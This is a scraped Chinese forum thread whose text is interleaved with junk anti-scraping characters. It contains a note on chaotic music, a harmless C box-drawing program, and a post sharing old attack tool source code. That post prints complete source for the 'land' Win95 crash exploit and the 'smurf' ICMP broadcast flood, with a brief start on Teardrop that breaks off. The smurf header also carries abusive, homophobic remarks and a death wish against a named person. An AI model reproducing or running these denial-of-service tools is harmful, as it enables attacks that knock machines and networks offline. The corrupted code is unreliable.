/ b% v( N- L% Y) U! O  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
2 [) q) X* }) H8 [: T不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>2 s% f! Q0 o1 h% M8 K* G
<FONT color=#009900>/*
8 |; e" i5 P! @8 M# B*
" W. z( A9 F7 A2 t. E* M* Short driver module
3 @. t2 f$ U& F0 [  W' D& Q+ ^*1 |- h6 O/ j. A+ f2 M
*/</FONT></P><><FONT color=#009900>main()
- n- W+ X) F2 n{
0 j7 |3 z) A4 x4 zclrscr();9 _+ n' e9 T% \
box(1,1,23,79);/ j# v* n3 |" m
box(2,2,21,77);& _) p0 H' D* F6 Y) X& D0 o
box(3,3,19,75);
8 o& l5 T6 O- {5 r: k! ~5 q1 bbox(4,4,17,73);
$ s4 v" r; ?$ K' ~. b2 w# vbox(5,5,15,71);
/ ?, _# g8 k( X: Ebox(6,6,13,69);
4 v7 V+ r& W& g4 ybox(7,7,11,67);
' {9 q% |. ^9 C- Ubox(8,8,9,65);, h/ _$ _" J: s. U5 |
box(9,9,7,63);- m; ^+ d9 h3 ~4 l% h4 t" d2 d" n
box(10,10,5,61);( r% G* w( z; B! Z
box(11,11,3,59);
' H5 j7 s1 T; pbox(12,12,1,57);
$ Q6 F$ k$ ]1 Y4 d9 x2 c- {poscur(24,1);4 C! _0 I$ z$ N* Q0 z8 H
}</FONT></P><><FONT color=#009900>/************************************************************
& G0 g) c. h- j7 u! V* BOX *
+ |! c; }* |) {3 D* n*----------------------------------------------------------*
. v( `% E& a: g3 n* Written by: Jeff Ebert 7/01/87 *
+ N4 o- o  @- n; x5 h* ~) c* Modified by: xxxxxxxxxx *
2 F, s9 J) P% T' M& ?7 T* *
* O/ U3 d& R& o/ U* Please modify me! *
) A; X$ Y% K/ _8 W3 r* Possible Enhancements include but are not limited t *& s7 @8 r; k$ R* h; S( S7 q/ B. Y
* 1) Variable box character styles [1 line or 2] *+ R# q* q0 H4 E1 m; L  i0 U
* 2) Error checking *
7 k/ }% ?2 O% i% e" M* 3) Color options *8 h. Z! n1 n+ g# j) t+ G& j
* *
2 l% w8 [  }, z/ J: a* *
1 q; f, G4 v, p  Q1 c* This function builds a simple double frame for a menu. *3 B9 Q$ i9 z' v' h6 s8 \. {
* The function is passed the parameters for the upper *
: p3 Z& P8 D8 Z) }* left corner row, upper left corner column the height *+ P1 X5 f" I- ?2 e. b+ J" L
* of the frame and the width. *
: o- j" W5 v6 u* *% K1 n2 j, t1 i& f
************************************************************/5 l4 V8 r/ u) c) m* w1 e& v) `. Q$ S
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201, o/ G3 w/ Q5 h
#define URCOR 187
. j8 n1 G5 C4 ~) U* S6 N: Y#define LLCOR 200) q" t6 U6 r0 m
#define LRCOR 188# J$ N( B4 e# k7 L& E
#define VBAR 186
* O! V, L# K  j; \#define HBAR 205
' G5 u4 v0 r; K; {9 T#define ESC 27</FONT></P><><FONT color=#009900>/ a' I: o; S- a9 l
box(row, col, hgt, wdth)
: h  Z6 B" u; aint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{; X" I( V9 F0 G4 r& f
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);8 y  N( z7 J0 ^; \. s
putchar(ULCOR);% p  O* w9 i: _* ~; C* g
for(x = col + 1; x &lt;=(col + wdth -1); x++)
" e+ q  }0 d1 Y4 g4 S/ k* vputchar(HBAR);1 n7 q- t% `+ a( X0 |
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){% E* H" i+ K) e
poscur(x,col);& o) J! w, X8 x. `0 `* [* H$ D3 w/ W
putchar(VBAR);: _5 Y7 B& ~5 k) C5 e8 W
poscur(x,col+wdth);4 [: v+ e) I# N2 D
putchar(VBAR);* d+ ~# o. x, y! }' e0 [
}0 i6 p& E% u0 J7 t. P6 q
poscur(x,col);
, h9 G7 Y4 A1 b1 y# ~& Iputchar(LLCOR);6 K6 ^. _. W- d0 f
for(x= col + 1; x &lt;=(col + wdth -1); x++)* d' _7 }) w% Z& p1 ?0 u- q
putchar(HBAR);
2 j, k1 K7 ^- Wputchar(LRCOR);
" G3 u# N6 k" n1 K* P$ s, ^7 ^! b}</FONT></P><><FONT color=#009900>/********************************************************
$ J% |9 V! q4 x5 b( \! M1 i, A/ o* POSCUR *+ F/ C# E! D( W0 W$ b1 P
*------------------------------------------------------*. I& E1 _) X5 g. z
* This function positions the cursor at the specified *
- D, C  P) P. T5 K, l* x,y coordinate. It uses the ANSI standard ESCAPE *
8 q4 H5 k4 b/ i( v6 d* sequence to produce the desired effect. Its not the *
0 N' I6 _# D# f8 e! r. p* fastest way to position the cursor, but perhaps the *5 E0 f1 a3 {5 T! x3 P6 H1 O0 g
* most portable. */ c( d! S9 Y- ^3 s% c9 Q, h
* *
) `1 i& O: f/ H/ i7 I) Y3 }********************************************************/# I: t- X/ C6 L! R' @3 Z- \
poscur(xcor,ycor)
( R( [3 B* `( h3 ^2 W3 L& nint xcor,ycor;
/ r* ~: j" U) A( s{
: B9 U& s( w1 Fprintf("%c[%d;%dH",ESC,xcor,ycor);4 k- s% E9 @! i& D0 v% k
}</FONT></P><><FONT color=#009900>
: o- ^. |6 X% [2 \+ K3 w# j- q. i/********************************************************; G% B: Z: c- c+ {+ J5 R
* CLRSCR *% k1 c0 [3 X" a$ b
*------------------------------------------------------*
5 p$ [( _; @( W" W( q/ W* This function positions the cursor at the specified *& P, w2 i" @2 a; i3 {# G
* x,y coordinate. It uses the ANSI standard ESCAPE *
1 h* O9 e  S( ]" O1 k- c) [* sequence to produce the desired effect. Its not the */ w0 i! n# ], h9 O
* fastest way to position the cursor, but perhaps the *$ o9 Z8 U: S9 }2 I3 r  l7 w8 N
* most portable. */ o9 T% ]+ N2 u/ s  }2 y% I% ^6 @
* *1 \& Y3 c- ^4 b  Z" @4 z
********************************************************/
# Q; z; J0 K! _/ nclrscr()
' J- U! x" d- l) \* d0 }- m{
, F/ Z7 }( ?5 Qprintf("%c[2J",ESC);# x* X- G7 y' O8 O1 M
}</FONT>
; p+ V6 A. s2 }' ], W+ P5 V; t</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract. V- l3 M( D5 Q; n, ]
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自3 w  u& ?$ |* k9 i7 ]! h
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>! W0 e! L! B* P1 Q4 d) ]0 t8 m! {% r
<FONT color=#009900>/* land.c by m3lt, FLC
7 q+ @( p+ k8 Q- {/ _& wcrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>; c% K4 I3 e  K- B
#include <NETDB.H>
% }# Q" j5 e5 L#include <ARPA inet.h>3 f# n& f2 T! f$ u/ N- t
#include <NETINET in.h>1 }' ~. E5 u* H) J5 G/ A# Y) \' b
#include <SYS types.h>
- F6 c$ ^3 f% y#include <SYS socket.h>, |. i7 }' D( v2 m; F, j4 ]
#include <NETINET ip.h>
' |8 f$ K5 F! ?5 j#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
- P( g- |6 e2 a3 Z" h4 Qstruct pseudohdr
0 _# d  e- E1 Z6 w4 A{
2 `9 ^+ H5 i' t0 jstruct in_addr saddr;+ j, _+ D6 N$ {, e' f
struct in_addr daddr;
) e: C, `- J6 \4 {! ?  r5 Nu_char zero;
, J1 n# `2 t! ~$ \6 n4 z; Ou_char protocol;( |. Z$ r9 D$ _( R( X
u_short length;
0 Q$ Q/ j: n8 d8 kstruct tcphdr tcpheader;6 o2 ^" U$ ~+ ^7 w4 N3 Y. r8 n2 j
};</FONT></P><><FONT color=#009900>//计算IP校验和+ t$ k: {/ a* [
u_short checksum(u_short * data,u_short length)0 u$ h& j% k1 I  g  f% o5 C6 Y  w
{
1 r) R* ~$ U. ~: c. d+ mregister long value;
# @# K  |/ k  |0 K' C# Lu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
6 u$ q7 o: b; N) B# ~9 y' x& fvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1). K" K6 p" t( \' }- \, B& N& J8 i  N
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);6 y" e0 M6 b* q+ L4 C
}</FONT></P><><FONT color=#009900>  r* r, O2 N3 a# O7 q$ F) n2 ~
int main(int argc,char * * argv)' B+ C+ ]. Q  c
{
3 R; ?2 w8 v( T8 l" J8 pstruct sockaddr_in sin;
1 a* J3 U' @$ gstruct hostent * hoste;
% h: }+ u1 }( kint sock;
. U; k& t1 e" K- k9 ^$ [char buffer[40];$ x" W2 `1 i" q3 P3 k
struct iphdr * ipheader=(struct iphdr *) buffer;
; h3 k9 g( ]: Z& B0 Wstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));9 I) P* N- `" U$ w8 |/ A1 F: Q, K
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)5 s% _5 F* F5 k8 F
{6 u3 L/ D3 [; d8 a3 K/ Q
fprintf(stderr,"usage: %s IP port\n",argv[0]);
7 I! R+ U6 ^2 p1 W2 jreturn(-1);7 B2 S6 E1 X- C( X; K* B7 ]
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
$ K: N0 I2 A% K7 d0 M/ s5 zsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)8 |- i/ M5 w1 j  d
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
7 n* J# r" z2 x. }/ @* Q( velse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
" i1 y: f' E4 g{. f6 Q) A# d: \, r
fprintf(stderr,"unknown host %s\n",argv[1]);- d8 q) G3 y: D: ]7 I
return(-1);% l% V4 N2 {8 C( i
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
: ?) y9 Z( m4 g- ^% q{9 F% {% Q5 ?+ f) Y: v
fprintf(stderr,"unknown port %s\n",argv[2]);
6 E4 ?2 l/ h8 d, O5 y" ereturn(-1);2 i% r; w8 D  {& ~, K+ Y- m
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
) P: Z( Y+ V/ @, e8 A- ?if((sock=socket(AF_INET,SOCK_RAW,255))==-1)! {) Y. x5 K& q5 i; b6 c+ }
{4 g3 e' a+ v) y. f  D* a
fprintf(stderr,"couldn't allocate raw socket\n");
: L- o9 V9 j( \return(-1);  H: e  b. w; v/ W
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));6 D1 o. i; i2 [0 }
ipheader-&gt;version=4;* X1 R0 E. X: R3 u! r- b
ipheader-&gt;ihl=sizeof(struct iphdr)/4;1 ]' A8 J/ M4 k6 q* E' U
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));- T! \+ K* E- o+ V% Z% ?9 d6 S
ipheader-&gt;id=htons(0xF1C);
9 S  n1 ~4 c% J/ R  \+ \ipheader-&gt;ttl=255;8 W6 ?: A) I7 R  }8 r$ s3 B
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同9 |8 l; S: J! m3 Q
ipheader-&gt;saddr=sin.sin_addr.s_addr;
6 f" Q. e$ }7 x9 z: V1 Lipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
3 O( o) r# G  v( m$ Z1 ?: i( F) Stcpheader-&gt;th_sport=sin.sin_port;
3 g7 Z/ ?9 _* _) |: y8 l, Ctcpheader-&gt;th_dport=sin.sin_port;2 o( Y4 Y5 q7 T6 X* A. V3 K
tcpheader-&gt;th_seq=htonl(0xF1C);
' S: E4 U& I9 Etcpheader-&gt;th_flags=TH_SYN;
$ M5 W5 ~3 j# q) B6 B% n. vtcpheader-&gt;th_off=sizeof(struct tcphdr)/4;, j1 j' t4 C, q: J  c  G6 |
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
1 W1 }/ l1 w8 Dpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
; A+ ~% i7 ]( j* s  t# o' gpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
; H: `2 \5 M7 Q& F# Y! apseudoheader.protocol=6;
8 Q) H3 V) u8 x2 b4 `% c/ S4 spseudoheader.length=htons(sizeof(struct tcphdr));! A. J: `! h+ P6 ]3 H
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
) d4 U7 t. Z8 J0 u, Ptcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),5 j) X6 b, V1 X" R' K8 L
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)2 r) U1 M" a% S2 `6 p- k; L
{
7 c# k8 D9 q8 G, B4 j; W1 Gfprintf(stderr,"couldn't send packet\n");
+ i, E, V: b% `! P' Z! Oreturn(-1);
5 ]& b! i, v2 U/ B( g# r) N0 {}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
8 v; I% ~& y( @4 w$ Y- f( P. I2 treturn(0);
7 t& y2 Q0 ^9 j) D}</FONT></P><>
4 L) q, d8 x; C4 t( I+ |8 ~' O8 n2 Smurf" z* r" Z' e6 q
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数! ?5 v1 a; m9 T
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
6 E2 {! e) i& |1 U0 i' ~1 f的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
3 r. q  S& @* p! ]icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
1 {8 i8 x$ e1 u0 `  C' U(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变& J1 ]' B1 u9 L7 K$ y
成不可能(没有WINS服务器时)。</P><P>/*# f$ b, p* Q9 |3 n; }% Y. R3 h1 V
*
3 a" n& c0 o$ g. z" ]( {1 _* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
, l& u0 i$ P  b& f  v*9 D! X$ x) Y+ i! i2 q# K. V
* spoofs icmp packets from a host to various broadcast addresses resulting
' ?* A% g& ]: y) B' G# r- t* in multiple replies to that host from a single packet.! e3 W7 `5 J1 }$ G' l
*
- J( f, z( s$ `- K  }* mad head t' j. d" u5 v, d& ]
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,  a( x2 J: Y3 e1 N, {1 B1 u
* MissSatan for swallowing, napster for pimping my sister, the guy that% s- a5 }5 R# @- ?8 N/ Q$ H
* invented vaseline, fyber for trying, knowy, old school #havok, kain
6 l1 J9 b$ f. J# p" p* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
' G: ~5 R8 T) o( T5 j: z* have missed (you know who you are).- h  ~" k2 U, n7 T6 o9 u
*- j+ w* v) k/ T) P
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
" c6 F( l( H$ b; x4 m9 `0 s* thing he is (he's -almost- as stubborn as me, still i managed to pick up
5 o  F! Z1 {) j& C* half the cheque).
! y* {& n- J! P; i7 Z. o$ r*
  o6 K/ V; g! {! e& e: q* and a special hi to Todd, face it dude, you're fucking awesome.- Z6 k! }9 _0 I! k% g
*6 ?0 k3 F3 _) ]! |( u
* mad anal t
6 ~- U2 w5 K- D' ~7 i* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps6 h) z1 A- N3 b$ o- x; [
* because they plain suck, Rolex for being a twit, everyone that; l* J4 {' N$ L; K
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
" ^+ B5 R. y# N( Z/ I7 W# v* partner, #cha0s, sedriss for having an ego in inverse proportion to
8 t: p. A# B- b6 \  r4 b* his penis and anyone that can't pee standing up -- you don't know what5 O) C% ]$ c, t3 _7 I
* your missing out on.
5 S! r3 x6 D8 Y" D) K/ W*" b( Q% v5 J/ W) F% l
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
' C1 q* a$ _+ e- X2 e; M* interesting).
) S" S  w" c6 V( u*. f+ Y  s/ A8 |! b
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill+ C. x( c( i) ?
* Robbins for trying to steal my girlfriend. Not only did you show me& G8 Z6 A, M  ?
* no respect but you're a manipulating prick who tried to take away the9 ^. X) v1 a: T* x$ L
* most important thing in the world to me with no guilt whatsoever, and' R) u0 C/ c5 R4 s
* for that I wish you nothing but pain. Die.! F6 t7 m/ Q5 H# e
*$ V8 m, K$ m7 f: }7 F- _+ U
* disclaimer:; Z, h- b' v2 h& N$ Q  w
* I cannot and will not be held responsible nor legally bound for the) V% E  X9 x( X1 }
* malicious activities of individuals who come into possession of this
% s1 y8 j# ~6 n) ~* program and I refuse to provide help or support of any kind and do NOT
5 m$ d: y$ ?6 Z6 O* condone use of this program to deny service to anyone or any machine.1 B7 k/ N* u" B. D& B: e
* This is for educational use only. Please Don't abuse this.8 Y; P  B0 s. D/ ]: ^  C3 _& {' q7 ~
*
) t+ N& M% p# u' \6 ]" v& {* Well, i really, really, hate this code, but yet here I am creating another
5 l; d3 G* C8 L. A: |* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
, r4 J3 E) W/ u( e* like most programmers don't like seeing bugs in their code. I saw a few
& N0 J* @7 J, a7 P, X0 S* things that should have been done better or needed fixing so I fixed2 N% j5 A: h/ @6 q
* them. -shrug-, programming for me as always seemed to take the pain away! Y" W4 M2 j; H9 u# [. U
* ...
5 ~5 \# W7 t* e8 J*
  X" P5 C+ Q; m" c** V. ?& M8 @( G9 k9 a+ @# G
*/</P><P>#include <SIGNAL.H>/ W# S- o9 I8 u5 w. O3 V2 z
#include <STDIO.H>
+ V4 X% J' C" W6 O. E! i- Z#include <STDLIB.H>
" a, I8 \. |* |& h* [#include <SYS socket.h>. A. f8 f2 ]" s5 D3 }" j
#include <SYS types.h>
% C% g8 k: G) X1 P#include <NETINET in.h>  ?7 U4 [" P* g6 y+ n: U9 j0 L4 _
#include <NETINET ip.h>
# ^: E/ {: k, ]# i- t#include <NETINET ip_icmp.h>
4 i0 }$ b/ f9 J0 v) I#include <NETDB.H>6 e& x' G/ s' X
#include <CTYPE.H>
( y, W, s& ~/ y4 j8 X* }#include <ARPA inet.h>
) @, l7 ?3 y. z+ P) H  b- O6 b#include <UNISTD.H>
  x( u& M9 {5 T: Y#include <STRING.H></P><P>void banner(void);
9 W4 B2 e% y& y4 s7 ivoid usage(char *);
" U9 x) t& O$ q- f& avoid smurf(int, struct sockaddr_in, u_long, int);0 H' P" B/ v; Q& Q
void ctrlc(int);
  {/ R: n$ d4 \$ t% j) I- Z1 punsigned short in_chksum(u_short *, int);</P><P>/* stamp */
3 @* `5 j) d" ]# I/ ichar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
# Y( _) |0 A2 l9 \$ n) g{
% M( L" A6 C9 I. B* J2 Bstruct sockaddr_in sin;# m+ \4 ?+ e. m1 _  w0 `
struct hostent *he;
$ l; v  w3 U' x! V1 H* VFILE *bcastfile;
( z8 C1 r% g: C1 d5 \3 O! ^int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
3 F, ]5 F- n$ v1 B$ i5 Ochar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
  o5 {# u' ?# T% Jsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
0 i( l6 d/ W- K6 O0 t: g0 f' n3 z. _perror("resolving source host");
/ U) h% r: e/ P9 }exit(-1);
) K& i/ f) L$ s) t: b7 D/ {}0 T& p' b7 ~' U8 _$ d
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);9 `" b" y& w. r& r
sin.sin_family = AF_INET;
$ H7 i6 H' s) [) R8 ~- X. }: Zsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
4 P9 ~& c  k) M* N8 \$ `3 R6 rdelay = atoi(argv[4]);
# A& }% J1 v' z0 Spktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {5 D6 F- s+ h# Z. z$ a3 }
perror("opening bcast file");
$ ]0 g" D2 a# @5 b% ]exit(-1);% f7 u9 C" ~3 O/ q  R$ Q6 q/ M$ T
}/ X, g+ o" t  ^. n* F
x = 0;
- M: I0 h" t; ~% X+ Gwhile (!feof(bcastfile)) {
2 R* @  T. P9 D6 e; jfgets(buf, 32, bcastfile);- X6 ~! y  \2 a3 @2 |% h
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
7 W- m$ s  c! ]4 W$ D( afor (i = 0; i &lt; strlen(buf); i++)- g% A5 r) {9 z% l
if (buf == '\n') buf = '\0';
: L; _( n3 c5 i. F$ H  a" Ebcastaddr[x] = malloc(32);  h! Q8 C+ N$ U/ q
strcpy(bcastaddr[x], buf);
5 ^  K3 o. W/ c" _, ?5 w+ nx++;
; k! u4 `6 i6 t4 Q6 L}# f2 B4 e  U- _% z- H
bcastaddr[x] = 0x0;
2 K. j2 y) x" y9 a1 O) I2 `fclose(bcastfile);</P><P>if (x == 0) {
! |# n+ z" C" Tfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);$ G0 v9 H% V5 ~' I1 U3 U' S
exit(-1);
/ o4 r  b# b3 C' `}) \. g: \0 [( O4 ], |; ?* e2 W
if (pktsize &gt; 1024) {- X; ~: K; n; ^
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");% |  _4 U8 m7 V
exit(-1);
5 S; l- D0 r3 L* o}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
% |) F6 [3 @. @' f1 Vperror("getting socket");
- G+ A2 g& {& v3 K# }) z0 cexit(-1);& Z' [+ u4 J8 b! G: x
}; ]- d  F6 W  O. y) L/ \" V) _: ^
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
4 z2 x0 U( A* a: g  U# Uif (!(i % 25)) { printf("."); fflush(stdout); }4 d# W" o% L  x
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
6 w/ h0 C" z, R- |. Acycle++;
: S. h$ O, A/ Y' _: n7 bif (bcastaddr[cycle] == 0x0) cycle = 0;. j  L$ Z4 ?  u& H6 L  l
usleep(delay);7 E( B: X, \/ r  v$ [8 c  d, {
}4 V% W) B* ]$ b* a5 R$ L
puts("\n\n");
* v: `; A6 w0 r" Q0 x" r8 H+ ^return 0;) a0 q" i# Y- w+ B
}</P><P>void banner (void)1 v5 d' e) Q  F7 T% l, [
{0 {$ ~* a/ u0 `
puts("\nsmurf.c v4.0 by TFreak\n");
% u; L: f, W/ X8 P6 l5 a9 F}</P><P>void usage (char *prog)
4 `1 y: S: C) M2 j+ Y2 ]) s. @$ b$ }{( b9 _# @# S$ c9 E
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
  c$ ^' n. B/ p4 d* j" A( `6 H"<NUM packets> <PACKET delay><PACKET size>\n\n"# M, n* N9 G7 V* F$ _6 R$ r. C
"target = address to hit\n"
5 N' f9 g. q! O* G"bcast file = file to read broadcast addresses from\n"
4 V$ u" ]' i1 r6 l9 e% d"num packets = number of packets to send (0 = flood)\n"
" `0 l; ]% P9 T+ G  d* f" O"packet delay = wait between each packet (in ms)\n"1 G) J/ W# q( i# k6 h) K0 j5 H
"packet size = size of packet (&lt; 1024)\n\n", prog);
& u" {! p; q. [exit(-1);. Y# O4 t) q; L8 ]# `/ T9 M8 A( B8 [/ Z
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
: U  I0 V" I# g6 o4 c9 V/ I{2 N- t+ `4 I7 o/ p6 ^
struct iphdr *ip;
3 M/ P. q! h  p2 G' _+ ~2 r8 L( bstruct icmphdr *icmp;2 H4 p% V1 b3 h+ o, g  C- e7 b
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);$ X6 M3 v1 ^5 r" U/ V) l6 {
ip = (struct iphdr *)packet;
4 p) P" w2 F4 T6 W9 ]: W. I+ jicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);: P; i- B7 ?$ L- y9 [% ?
ip-&gt;ihl = 5;  ^/ W0 k; _$ }2 g1 q* U
ip-&gt;version = 4;5 q- A1 q- H8 C$ u. G  y( Q
ip-&gt;ttl = 255;7 A4 D0 I: r  k# Z% \: c
ip-&gt;tos = 0;9 ^* q7 |% {3 _' O
ip-&gt;frag_off = 0;
! o; X' J+ _2 @ip-&gt;protocol = IPPROTO_ICMP;5 N- C% z" ]2 T- [# L7 B
ip-&gt;saddr = sin.sin_addr.s_addr;
; a% g0 Q- W" _+ Xip-&gt;daddr = dest;
, f7 |  w! a- j6 }4 {  fip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
9 w5 E8 w, H1 Dicmp-&gt;type = 8;
7 E* V! `' }# H) Zicmp-&gt;code = 0;
4 {; k4 n( ]' ]8 p) C0 sicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,8 k4 I3 c7 `8 \) `
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */0 V6 }6 F, J' b0 I6 T$ k2 ?& T0 [
}</P><P>void ctrlc (int ignored)4 O+ x$ T$ m( u  _" Z2 `4 d
{2 H: ?8 v  _1 P0 n
puts("\nDone!\n");5 c) n7 v  g: O+ w4 E
exit(1);0 W. z9 ?# I* U
}</P><P>unsigned short in_chksum (u_short *addr, int len)" I( V. k) t  U
{
. Z# [5 D& H: G- |: {1 D* k  vregister int nleft = len;% d6 _+ W: {; s1 S- T, y% [
register int sum = 0;% D! a8 u4 F+ R+ Q  c* e; T! {
u_short answer = 0;</P><P>while (nleft &gt; 1) {. b' R6 g9 h1 W
sum += *addr++;
3 q- p1 [8 @8 ?. N( _) Enleft -= 2;
/ r, W* `7 e1 l! k7 M}</P><P>if (nleft == 1) {% b0 D: v$ S9 U$ Z6 b1 S
*(u_char *)(&amp;answer) = *(u_char *)addr;
% j7 Q+ c5 y8 U  @8 A: \" S4 X) wsum += answer;
" z: t% x8 I# `# v: o}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);$ r5 A8 {0 V" u
sum += (sum &gt;&gt; 16);
+ C4 h% S  K; I- K* |/ f+ j9 Canswer = ~sum;9 {( b2 ~! d+ Y# e3 Q
return(answer);4 G) u. K$ s* u* ?* \5 n5 q
}</P><P>
" g% }9 t4 l% X# E, A5 U& l3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:, z# b6 _4 N6 u! h  E& j& S! \4 k
fp = qp-&gt;fragments;
, G+ ^7 z' G2 T0 Cwhile(fp != NULL)0 M: ]: ~7 |; G( y# ?8 g7 J2 ^  E
{7 n9 {) |5 V8 c7 f' j: |
if(count+fp-&gt;len &gt; skb-&gt;len)
  t* Z+ z, G4 F+ k! h7 }{4 D- {8 ~8 g3 E
error_to_big;
6 U& }4 `) N$ H) K( F- j}
% X6 Q& k0 K. C* i6 |( lmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
